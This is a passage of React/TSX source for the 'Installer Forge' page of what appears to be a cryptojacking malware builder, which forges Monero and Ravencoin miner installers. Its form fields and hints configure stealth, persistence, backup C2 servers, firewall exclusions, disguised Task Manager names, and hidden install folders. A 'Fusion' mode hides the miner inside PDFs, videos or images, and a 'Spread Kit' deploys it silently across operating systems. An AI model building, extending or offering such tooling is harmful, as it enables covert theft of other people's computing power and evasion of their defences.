const setupStatus = getSetupStatus(calibrateConfig);
|
||
|
||
return (
|
||
<div className="page fade-in command-deck">
|
||
<SetupBanner status={setupStatus} />
|
||
{/* Hidden file input for importing blueprint .json files */}
|
||
<input
|
||
type="file"
|
||
ref={fileInputRef}
|
||
style={{ display: 'none' }}
|
||
accept=".json,application/json"
|
||
onChange={handleFileSelected}
|
||
/>
|
||
|
||
<header className="deck-hero">
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||
<h1>The Forge</h1>
|
||
<p className="page-subtitle">
|
||
{simpleMode
|
||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
|
||
</p>
|
||
</div>
|
||
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
|
||
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
|
||
<button
|
||
type="button"
|
||
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||
onClick={() => setForgeMode(true)}
|
||
title={FIELD_HELP.forge_simple_mode}
|
||
>
|
||
Simple
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
|
||
onClick={() => setForgeMode(false)}
|
||
>
|
||
Advanced
|
||
</button>
|
||
</div>
|
||
<button className="btn btn-outline" onClick={loadRecentBuilds}>
|
||
Recent Builds
|
||
</button>
|
||
<button className="btn btn-outline" onClick={handleSaveBlueprint} title="Save current form as a named blueprint on the server">
|
||
💾 Save Blueprint
|
||
</button>
|
||
<button className="btn btn-outline" onClick={handleLoadBlueprint} title="Load a saved blueprint from the server">
|
||
📂 Load Blueprint
|
||
</button>
|
||
<button className="btn btn-outline" onClick={handleExportBlueprintFile} title="Download current form as a .json file">
|
||
⬇️ Export .json
|
||
</button>
|
||
<button className="btn btn-outline" onClick={handleImportBlueprintFile} title="Import a .json blueprint file from your computer">
|
||
📥 Import .json
|
||
</button>
|
||
</div>
|
||
</header>
|
||
|
||
{/* Blueprint status message */}
|
||
{blueprintMsg && (
|
||
<div className={`save-message ${blueprintMsg.includes('✅') ? 'success' : 'error'}`} style={{ marginBottom: '12px' }}>
|
||
{blueprintMsg}
|
||
</div>
|
||
)}
|
||
|
||
{compareBlueprint && blueprintChanges.length > 0 && (
|
||
<div className="card" style={{ marginBottom: '16px' }}>
|
||
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '8px' }}>
|
||
<h3 style={{ margin: 0, fontSize: '1rem' }}>
|
||
Blueprint diff — {blueprintName || 'loaded blueprint'}
|
||
</h3>
|
||
<button
|
||
type="button"
|
||
className="btn btn-outline btn-sm"
|
||
onClick={() => {
|
||
setCompareBlueprint(null);
|
||
setBlueprintName('');
|
||
}}
|
||
>
|
||
Dismiss
|
||
</button>
|
||
</div>
|
||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||
Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).
|
||
</p>
|
||
<ul className="blueprint-diff-list" style={{ margin: 0, paddingLeft: '1.25rem', fontSize: '0.85rem' }}>
|
||
{blueprintChanges.map((row) => (
|
||
<li key={row.key}>
|
||
<code>{row.key}</code>
|
||
{' — '}
|
||
{row.kind === 'added' && <span>kept from form</span>}
|
||
{row.kind === 'removed' && <span>not in current form</span>}
|
||
{row.kind === 'changed' && (
|
||
<span>
|
||
blueprint → current
|
||
</span>
|
||
)}
|
||
</li>
|
||
))}
|
||
</ul>
|
||
</div>
|
||
)}
|
||
|
||
{/* Blueprint picker panel */}
|
||
{showBlueprints && (
|
||
<div className="card" style={{ marginBottom: '16px' }}>
|
||
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '12px' }}>
|
||
<h3 style={{ margin: 0 }}>Saved Blueprints</h3>
|
||
<button className="btn btn-outline" onClick={() => setShowBlueprints(false)}>Close</button>
|
||
</div>
|
||
{loadingBlueprints ? (
|
||
<p>Loading blueprints...</p>
|
||
) : blueprints.length === 0 ? (
|
||
<p className="empty-text">No saved blueprints yet. Configure the form and click "Save Blueprint".</p>
|
||
) : (
|
||
<div className="builds-list">
|
||
{blueprints.map((bp) => (
|
||
<div key={bp.name} className="build-item">
|
||
<div className="build-item-name">{bp.name}</div>
|
||
<div className="build-item-details">
|
||
<span>{(bp.size / 1024).toFixed(1)} KB</span>
|
||
<span>{new Date(bp.created_at).toLocaleString()}</span>
|
||
</div>
|
||
<div style={{ display: 'flex', gap: '8px' }}>
|
||
<button className="btn btn-primary" onClick={() => handleApplyBlueprint(bp.name)}>
|
||
Load
|
||
</button>
|
||
<button className="btn btn-outline" onClick={() => handleDeleteBlueprint(bp.name)}>
|
||
Delete
|
||
</button>
|
||
</div>
|
||
</div>
|
||
))}
|
||
</div>
|
||
)}
|
||
</div>
|
||
)}
|
||
|
||
<div className="builder-layout builder-layout-wide">
|
||
<div className="card cheat-sheet-panel">
|
||
<h2>Quick links</h2>
|
||
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
|
||
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
|
||
Open Field Guide
|
||
</Link>
|
||
<div className="cheat-sheet">
|
||
{SETUP_CHEATSHEET.map((item) => (
|
||
<div key={item.title} className="cheat-sheet-item">
|
||
<h4>{item.title}</h4>
|
||
<p>{item.body}</p>
|
||
</div>
|
||
))}
|
||
</div>
|
||
</div>
|
||
|
||
<div className="card builder-form">
|
||
{simpleMode ? (
|
||
<div className="forge-simple-banner card">
|
||
<p className="font-tech">RECOMMENDED DEFAULTS — AUTO-SELECTED</p>
|
||
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
|
||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
|
||
Reset to recommended defaults
|
||
</button>
|
||
</div>
|
||
) : (
|
||
<div className="forge-rules-banner">
|
||
<h3 className="font-tech">FORGE RULES — READ THIS ONCE</h3>
|
||
<p className="form-hint" style={{ margin: 0 }}>
|
||
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
|
||
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
|
||
</p>
|
||
<div className="forge-rules-grid">
|
||
<div className="forge-rule-card">
|
||
<strong>⛏ Baked into installer</strong>
|
||
Wallet, pool, threads, install path, stealth, AI toggle — frozen when you forge. Re-forge to change.
|
||
</div>
|
||
<div className="forge-rule-card">
|
||
<strong>🖥 Server folder only</strong>
|
||
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
|
||
</div>
|
||
<div className="forge-rule-card">
|
||
<strong>🔒 Auto-coupled</strong>
|
||
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
|
||
</div>
|
||
<div className="forge-rule-card">
|
||
<strong>✕ Cannot forge until fixed</strong>
|
||
Preflight errors below must be resolved — warnings let you forge but double-check first.
|
||
</div>
|
||
</div>
|
||
</div>
|
||
)}
|
||
|
||
{liveNotices.length > 0 && (
|
||
<div className="forge-live-notices">
|
||
<strong className="font-tech">ACTIVE RULES</strong>
|
||
<ul>
|
||
{liveNotices.map((n) => (
|
||
<li key={n}>{n}</li>
|
||
))}
|
||
</ul>
|
||
</div>
|
||
)}
|
||
|
||
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
|
||
<p className="form-description">
|
||
{simpleMode
|
||
? 'Pick a deliverable type, fill the three identity fields, then forge. LAN address chips beat localhost. Spread Kit = silent multi-OS ZIP; Movie = universal fusion.'
|
||
: 'Creates installers for Windows, Linux, macOS, or all three. Incompatible fields lock automatically — grayed inputs are ignored at forge time.'}
|
||
</p>
|
||
|
||
<form onSubmit={handleSubmit}>
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Identity"
|
||
badge="baked"
|
||
description="Worker name, control server URL, and payout wallet are embedded in every forged installer."
|
||
/>
|
||
<div className="form-group">
|
||
<div className="label-row">
|
||
<label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||
<ForgeFieldBadge meta={fieldMeta.worker_name} />
|
||
</div>
|
||
<input
|
||
id="forge-worker-name"
|
||
type="text"
|
||
className="input"
|
||
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
|
||
value={form.worker_name}
|
||
maxLength={48}
|
||
onChange={(e) => updateField('worker_name', e.target.value)}
|
||
required
|
||
/>
|
||
<FieldHint field="worker_name" />
|
||
</div>
|
||
<div className="form-group endpoint-group">
|
||
<div className="endpoint-header">
|
||
<label className="label">Control Endpoint <HelpTip field="server_url" /></label>
|
||
<button
|
||
type="button"
|
||
className="btn btn-outline btn-sm"
|
||
disabled={refreshingEndpoints}
|
||
onClick={() => void refreshEndpointInfo()}
|
||
>
|
||
{refreshingEndpoints ? 'Scanning...' : 'Refresh LAN IPs'}
|
||
</button>
|
||
</div>
|
||
<input
|
||
type="url"
|
||
className={`input mono endpoint-input${form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) ? ' input-warn' : ''}`}
|
||
placeholder={`http://192.168.1.10:${listenPort}`}
|
||
value={form.server_url}
|
||
onChange={(e) => updateField('server_url', e.target.value)}
|
||
required
|
||
autoComplete="off"
|
||
spellCheck={false}
|
||
/>
|
||
{form.server_url && (form.server_url.includes('localhost') || form.server_url.includes('127.0.0.1')) && (
|
||
<p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>
|
||
⚠ localhost/127.0.0.1 baked into the worker will fail on other machines — use your LAN IP chip below.
|
||
</p>
|
||
)}
|
||
<FieldHint field="server_url" />
|
||
<p className="form-hint endpoint-hint">
|
||
Baked into each installer. Change here when this host's LAN IP changes — you do not need to update Calibrate first.
|
||
</p>
|
||
{endpointCandidates.length > 0 && (
|
||
<div className="endpoint-picks">
|
||
<span className="endpoint-picks-label font-tech">Quick pick</span>
|
||
<div className="endpoint-chips">
|
||
{endpointCandidates.map((url) => (
|
||
<button
|
||
key={url}
|
||
type="button"
|
||
className={`endpoint-chip ${form.server_url.trim() === url ? 'active' : ''}`}
|
||
onClick={() => updateField('server_url', url)}
|
||
title="Use this address in the installer"
|
||
>
|
||
{url}
|
||
</button>
|
||
))}
|
||
</div>
|
||
</div>
|
||
)}
|
||
</div>
|
||
|
||
{/* ── Backup server URLs (advanced) ───────────────────────── */}
|
||
{!simpleMode && (
|
||
<div className="form-group">
|
||
<label className="label">
|
||
Backup C2 URLs
|
||
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||
(tried in order if the primary is unreachable)
|
||
</span>
|
||
</label>
|
||
{(form.backup_server_urls ?? []).map((url, i) => (
|
||
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.3rem' }}>
|
||
<input
|
||
type="text"
|
||
className="input mono"
|
||
placeholder="http://192.168.x.x:8989"
|
||
value={url}
|
||
onChange={(e) => {
|
||
const urls = [...(form.backup_server_urls ?? [])];
|
||
urls[i] = e.target.value;
|
||
updateField('backup_server_urls', urls);
|
||
}}
|
||
/>
|
||
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||
onClick={() => {
|
||
const urls = (form.backup_server_urls ?? []).filter((_, idx) => idx !== i);
|
||
updateField('backup_server_urls', urls);
|
||
}}>✕</button>
|
||
</div>
|
||
))}
|
||
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||
onClick={() => updateField('backup_server_urls', [...(form.backup_server_urls ?? []), ''])}>
|
||
+ Add backup URL
|
||
</button>
|
||
</div>
|
||
)}
|
||
|
||
<div className="form-group">
|
||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||
<input
|
||
type="text"
|
||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||
placeholder="4... or 8... (90–106 characters)"
|
||
value={form.wallet}
|
||
onChange={(e) => updateField('wallet', e.target.value)}
|
||
required
|
||
spellCheck={false}
|
||
/>
|
||
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
|
||
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
|
||
Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.
|
||
</p>
|
||
)}
|
||
<FieldHint field="wallet" />
|
||
</div>
|
||
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Mining Pools"
|
||
badge="baked"
|
||
description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
|
||
/>
|
||
<PoolPresetPicker
|
||
host={form.pool_host}
|
||
port={form.pool_port}
|
||
tls={form.pool_tls}
|
||
pass={form.pool_pass || 'x'}
|
||
backups={form.backup_pools}
|
||
onChange={(next) => {
|
||
updateField('pool_host', next.pool_host);
|
||
updateField('pool_port', next.pool_port);
|
||
updateField('pool_tls', next.pool_tls);
|
||
updateField('backup_pools', next.backup_pools);
|
||
}}
|
||
/>
|
||
<div className="form-group">
|
||
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
|
||
<input
|
||
type="text"
|
||
className="input"
|
||
placeholder="x"
|
||
value={form.pool_pass}
|
||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||
/>
|
||
<p className="form-hint">Standard Monero pools use <code>x</code>.</p>
|
||
</div>
|
||
</div>
|
||
|
||
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="GPU Mining — Ravencoin"
|
||
badge="baked"
|
||
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
|
||
/>
|
||
<div className="form-group">
|
||
<label className="checkbox-label">
|
||
<input
|
||
type="checkbox"
|
||
className="checkbox"
|
||
checked={!!form.gpu_enabled}
|
||
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
|
||
/>
|
||
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
|
||
</label>
|
||
<p className="form-hint">
|
||
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
|
||
</p>
|
||
</div>
|
||
{form.gpu_enabled && (
|
||
<>
|
||
<div className="form-group">
|
||
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
|
||
<input
|
||
type="text"
|
||
className="input mono"
|
||
placeholder="R... (your RVN address)"
|
||
value={form.rvn_wallet ?? ''}
|
||
onChange={(e) => updateField('rvn_wallet', e.target.value)}
|
||
/>
|
||
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
|
||
</div>
|
||
|
||
<div className="form-group">
|
||
<label className="label">Ravencoin Pools</label>
|
||
<RVNPoolPresetPicker
|
||
host={form.rvn_pool_host ?? ''}
|
||
port={form.rvn_pool_port ?? 6060}
|
||
tls={form.rvn_pool_tls ?? false}
|
||
pass={form.rvn_pool_pass ?? 'x'}
|
||
backups={form.rvn_backup_pools ?? []}
|
||
onChange={(next) => {
|
||
updateField('rvn_pool_host', next.rvn_pool_host);
|
||
updateField('rvn_pool_port', next.rvn_pool_port);
|
||
updateField('rvn_pool_tls', next.rvn_pool_tls);
|
||
updateField('rvn_backup_pools', next.rvn_backup_pools);
|
||
}}
|
||
/>
|
||
</div>
|
||
|
||
<div className="form-group">
|
||
<label className="label">RVN Pool Password</label>
|
||
<input
|
||
type="text"
|
||
className="input"
|
||
placeholder="x"
|
||
value={form.rvn_pool_pass ?? 'x'}
|
||
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
|
||
/>
|
||
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
|
||
</div>
|
||
</>
|
||
)}
|
||
</div>
|
||
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Deliverable"
|
||
badge="baked"
|
||
description="Pick what you are shipping. Incompatible options are locked automatically."
|
||
/>
|
||
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
|
||
{deliverableSummary(deliverableType)}
|
||
</p>
|
||
<div className="forge-rules-grid" style={{ marginBottom: '0.75rem' }}>
|
||
<button
|
||
type="button"
|
||
className={`forge-rule-card deliverable-card ${deliverableType === 'single' ? 'deliverable-active' : ''}`}
|
||
onClick={() => setDeliverableType('single')}
|
||
>
|
||
<strong>Single platform worker</strong>
|
||
<span className="form-hint">One .exe or binary for Windows, Linux, or macOS.</span>
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className={`forge-rule-card deliverable-card ${deliverableType === 'spread_kit' ? 'deliverable-active' : ''}`}
|
||
onClick={() => setDeliverableType('spread_kit')}
|
||
>
|
||
<strong>Universal Spread Kit</strong>
|
||
<span className="form-hint">Silent ZIP — Deploy.bat / deploy.sh installs on any OS.</span>
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className={`forge-rule-card deliverable-card ${deliverableType === 'fusion' ? 'deliverable-active' : ''}`}
|
||
onClick={() => setDeliverableType('fusion')}
|
||
>
|
||
<strong>Fusion</strong>
|
||
<span className="form-hint">Hide miner in any file — PDF, video, doc, image. One universal ZIP works on all OSes.</span>
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Platform"
|
||
badge="baked"
|
||
description={
|
||
deliverableType === 'single'
|
||
? 'Which OS this single installer targets.'
|
||
: 'Locked to Universal — all platforms are included in the ZIP.'
|
||
}
|
||
/>
|
||
<div className="form-row">
|
||
<div className={`form-group ${fieldMeta.target_os?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Target OS <HelpTip field="target_os" /></label>
|
||
{fieldMeta.target_os?.disabled ? (
|
||
<input
|
||
type="text"
|
||
className="input"
|
||
disabled
|
||
value="Universal (all platforms)"
|
||
readOnly
|
||
/>
|
||
) : (
|
||
<select
|
||
className="select"
|
||
value={form.target_os || 'windows'}
|
||
onChange={(e) => updateField('target_os', e.target.value)}
|
||
>
|
||
<option value="windows">Windows</option>
|
||
<option value="linux">Linux</option>
|
||
<option value="darwin">macOS</option>
|
||
</select>
|
||
)}
|
||
<FieldHint field="target_os" />
|
||
<ForgeLockedHint meta={fieldMeta.target_os} />
|
||
</div>
|
||
{(form.target_os === 'linux' || form.target_os === 'darwin') && (
|
||
<div className={`form-group ${fieldMeta.target_arch?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Architecture <HelpTip field="target_arch" /></label>
|
||
<select
|
||
className="select"
|
||
disabled={fieldMeta.target_arch?.disabled}
|
||
value={form.target_arch || (form.target_os === 'darwin' ? 'arm64' : 'amd64')}
|
||
onChange={(e) => updateField('target_arch', e.target.value)}
|
||
>
|
||
<option value="amd64">amd64 (Intel/AMD)</option>
|
||
<option value="arm64">arm64 (Apple Silicon / ARM)</option>
|
||
</select>
|
||
<FieldHint field="target_arch" />
|
||
<ForgeLockedHint meta={fieldMeta.target_arch} />
|
||
</div>
|
||
)}
|
||
</div>
|
||
{deliverableType === 'spread_kit' && (
|
||
<p className="form-hint">
|
||
Spread Kit preset: idle mining, stealth, persistence, self-healing, and remote aggressive ops enabled.
|
||
Upload nothing — forge produces the deploy ZIP.
|
||
</p>
|
||
)}
|
||
</div>
|
||
|
||
{!simpleMode && (
|
||
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
|
||
<div className="label-row">
|
||
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
|
||
<ForgeFieldBadge meta={fieldMeta.output_dir} />
|
||
</div>
|
||
<input
|
||
type="text"
|
||
className="input mono"
|
||
placeholder="exports"
|
||
value={(form.output_dir || '') as any}
|
||
onChange={(e) => updateField('output_dir' as any, e.target.value)}
|
||
/>
|
||
<FieldHint field="output_dir" />
|
||
<ForgeLockedHint meta={fieldMeta.output_dir} />
|
||
<p className="form-hint">
|
||
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
|
||
</p>
|
||
</div>
|
||
)}
|
||
</div>
|
||
|
||
{!simpleMode && (
|
||
<>
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Performance & Resources"
|
||
badge="baked"
|
||
description="Thread count, CPU/RAM limits, and mining schedule. Irrelevant fields lock based on your mode picks."
|
||
/>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Thread Mode <HelpTip field="thread_mode" /></label>
|
||
<select className="select" value={form.thread_mode} onChange={(e) => updateField('thread_mode', e.target.value)}>
|
||
<option value="percent">Auto (% of CPU cores)</option>
|
||
<option value="fixed">Fixed thread count</option>
|
||
</select>
|
||
<FieldHint field="thread_mode" />
|
||
</div>
|
||
<div className={`form-group ${fieldMeta.thread_percent?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Thread Percent <HelpTip field="thread_percent" /></label>
|
||
<input type="number" className="input" min={1} max={100} value={form.thread_percent}
|
||
disabled={fieldMeta.thread_percent?.disabled}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v)) updateField('thread_percent', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('thread_percent', 75); else if (v > 100) updateField('thread_percent', 100); }} />
|
||
<ForgeLockedHint meta={fieldMeta.thread_percent} />
|
||
</div>
|
||
</div>
|
||
<div className="form-row">
|
||
<div className={`form-group ${fieldMeta.threads?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Fixed Threads <HelpTip field="threads" /></label>
|
||
<input type="number" className="input" min={1} max={128} value={form.threads}
|
||
disabled={fieldMeta.threads?.disabled}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('threads', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('threads', 4); }} />
|
||
<ForgeLockedHint meta={fieldMeta.threads} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">CPU Priority <HelpTip field="cpu_priority" /></label>
|
||
<select className="select" value={form.cpu_priority} onChange={(e) => updateField('cpu_priority', e.target.value)}>
|
||
<option value="idle">Idle</option>
|
||
<option value="below_normal">Below Normal</option>
|
||
<option value="normal">Normal</option>
|
||
<option value="above_normal">Above Normal</option>
|
||
<option value="high">High</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div className="form-row">
|
||
<div className="form-group">
|
||
<label className="label">Max CPU Usage (%) <HelpTip field="max_cpu_usage_pct" /></label>
|
||
<input type="number" className="input" min={1} max={100} value={form.max_cpu_usage_pct}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('max_cpu_usage_pct', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('max_cpu_usage_pct', 95); }} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Max Memory (%) <HelpTip field="max_memory_percent" /></label>
|
||
<input type="number" className="input" min={10} max={95} value={form.max_memory_percent}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 10 && v <= 95) updateField('max_memory_percent', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 10) updateField('max_memory_percent', 85); }} />
|
||
<FieldHint field="max_memory_percent" />
|
||
</div>
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Min Free RAM (MB) <HelpTip field="min_free_ram_mb" /></label>
|
||
<input type="number" className="input" min={256} value={form.min_free_ram_mb}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
|
||
<select
|
||
className="select"
|
||
value={form.mining_mode}
|
||
onChange={(e) => updateField('mining_mode', e.target.value)}
|
||
>
|
||
<option value="always">Always Mine</option>
|
||
<option value="idle">Only When Idle</option>
|
||
<option value="scheduled">Scheduled Hours</option>
|
||
</select>
|
||
</div>
|
||
{form.mining_mode === 'idle' && (
|
||
<div className="form-row">
|
||
<div className={`form-group ${fieldMeta.idle_threshold_pct?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Idle CPU Threshold (%) <HelpTip field="idle_threshold_pct" /></label>
|
||
<input
|
||
type="number"
|
||
className="input"
|
||
min={1}
|
||
max={100}
|
||
disabled={fieldMeta.idle_threshold_pct?.disabled}
|
||
value={form.idle_threshold_pct}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 100) updateField('idle_threshold_pct', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_threshold_pct', 20); }}
|
||
/>
|
||
</div>
|
||
<div className={`form-group ${fieldMeta.idle_duration_minutes?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Idle Duration (min) <HelpTip field="idle_duration_minutes" /></label>
|
||
<input
|
||
type="number"
|
||
className="input"
|
||
min={1}
|
||
disabled={fieldMeta.idle_duration_minutes?.disabled}
|
||
value={form.idle_duration_minutes}
|
||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1) updateField('idle_duration_minutes', v); }}
|
||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1) updateField('idle_duration_minutes', 5); }}
|
||
/>
|
||
</div>
|
||
</div>
|
||
)}
|
||
{form.mining_mode === 'scheduled' && (
|
||
<div className="form-row">
|
||
<div className={`form-group ${fieldMeta.schedule_start?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Start Time <HelpTip field="schedule_start" /></label>
|
||
<input
|
||
type="time"
|
||
className="input"
|
||
disabled={fieldMeta.schedule_start?.disabled}
|
||
value={form.schedule_start}
|
||
onChange={(e) => updateField('schedule_start', e.target.value)}
|
||
/>
|
||
</div>
|
||
<div className={`form-group ${fieldMeta.schedule_end?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">End Time <HelpTip field="schedule_end" /></label>
|
||
<input
|
||
type="time"
|
||
className="input"
|
||
disabled={fieldMeta.schedule_end?.disabled}
|
||
value={form.schedule_end}
|
||
onChange={(e) => updateField('schedule_end', e.target.value)}
|
||
/>
|
||
</div>
|
||
</div>
|
||
)}
|
||
</div>
|
||
|
||
<div className="form-section">
|
||
<ForgeSectionHeader
|
||
title="Install & Process"
|
||
badge="baked"
|
||
description="Where the miner installs, how it persists, and how it appears in Task Manager."
|
||
/>
|
||
<div className="form-group">
|
||
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
|
||
<select className="select" value={form.install_base}
|
||
onChange={(e) => updateField('install_base', e.target.value)}>
|
||
{installBaseOptions.map((opt) => (
|
||
<option key={opt.value} value={opt.value}>{opt.label}</option>
|
||
))}
|
||
</select>
|
||
<FieldHint field="install_base" />
|
||
{installBaseOptions.find((o) => o.value === form.install_base)?.hint && (
|
||
<p className="form-hint">
|
||
{installBaseOptions.find((o) => o.value === form.install_base)!.hint}
|
||
</p>
|
||
)}
|
||
</div>
|
||
{form.install_base === 'custom' && (
|
||
<div className={`form-group ${fieldMeta.install_custom_base?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
|
||
<input type="text" className="input mono"
|
||
placeholder={
|
||
form.target_os === 'linux' || form.target_os === 'darwin'
|
||
? '/home/user/.local/share or ~/Library/Application Support'
|
||
: 'C:\\Hidden\\Miner or %ProgramData%\\MyApp'
|
||
}
|
||
disabled={fieldMeta.install_custom_base?.disabled}
|
||
value={form.install_custom_base}
|
||
onChange={(e) => updateField('install_custom_base', e.target.value)} />
|
||
<FieldHint field="install_custom_base" />
|
||
<ForgeLockedHint meta={fieldMeta.install_custom_base} />
|
||
</div>
|
||
)}
|
||
<div className="form-group">
|
||
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
|
||
<input type="text" className="input mono"
|
||
placeholder="CryptoMiner/{worker}-{build_short}"
|
||
value={form.install_relative_path}
|
||
onChange={(e) => updateField('install_relative_path', e.target.value)} />
|
||
<FieldHint field="install_relative_path" />
|
||
</div>
|
||
<div className="form-group">
|
||
<label className="label">Install Preview</label>
|
||
<code className="path-display">{installPreview}</code>
|
||
</div>
|
||
<div className={`form-group checkbox-group ${fieldMeta.adapt_to_hardware?.disabled ? 'field-disabled' : ''}`}>
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
|
||
disabled={fieldMeta.adapt_to_hardware?.disabled}
|
||
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
|
||
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
|
||
</label>
|
||
<FieldHint field="adapt_to_hardware" />
|
||
<ForgeLockedHint meta={fieldMeta.adapt_to_hardware} />
|
||
</div>
|
||
<div className="form-group checkbox-group">
|
||
<label className="checkbox-label">
|
||
<input type="checkbox" className="checkbox" checked={form.firewall_exclusion}
|
||
onChange={(e) => updateField('firewall_exclusion', e.target.checked)} />
|
||
<span>
|
||
{form.target_os === 'linux' || form.target_os === 'darwin'
|
||
? 'Firewall allow rules (ufw/iptables when available)'
|
||
: form.target_os === 'universal'
|
||
? 'Firewall allow rules (per OS — netsh / ufw / best-effort)'
|
||
